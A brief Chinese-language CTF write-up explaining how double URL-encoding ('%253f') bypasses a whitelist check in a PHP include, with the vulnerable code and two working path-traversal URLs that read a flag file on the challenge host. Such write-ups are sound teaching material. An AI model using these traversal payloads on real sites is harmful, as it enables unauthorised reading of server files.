php urlencode vulnerability
记一个 php urldecode 漏洞。php urldecode 函数文档中有提示
Warning
超全局变量 $_GET 和 $_REQUEST 已经被解码了。对 $_GET 或 $_REQUEST 里的元素使用 urldecode() 将会导致不可预计和危险的结果。
example——xcft 中的一道题,https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5442&page=1
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
上述代码中 checkFile 传入从超全局变量_REQUEST 中获取的 file 参数,实际上_REQUEST 中的参数是已经经过解码了。
emmm::checkFile($_REQUEST['file'])
checkFile 函数中最后一个 if 判断 &$page 参数即file 进行 urldecode 后第一个 ? 前的内容是否在 whitelist 中,如果在的话返回 ture。最终执行include_REQUEST[‘file’]。因此我们可以通过二次urlencode ? 字符来构造一个通过该 if 检查的 url
本题中我们还能从 http://220.249.52.133:51867/?file=hint.php 中找到一个线索 flag 在 ffffllllaaaagggg 文件中。因此通过上述漏洞构造一个获取 ffffllllaaaagggg 文件的 url 即可
答案为 http://220.249.52.133:51867/?file=source.php%253f../../../../../ffffllllaaaagggg
ps:实际上利用倒数第二个 if 检查也是能拿到 flag 的。倒数第二个 if 即直接判断 file 参数中第一个 ? 前的内容是否在 whitelist 中,在的话返回 ture。因此可以构造一个 url http://220.249.52.133:51867/?file=source.php?../../../../../ffffllllaaaagggg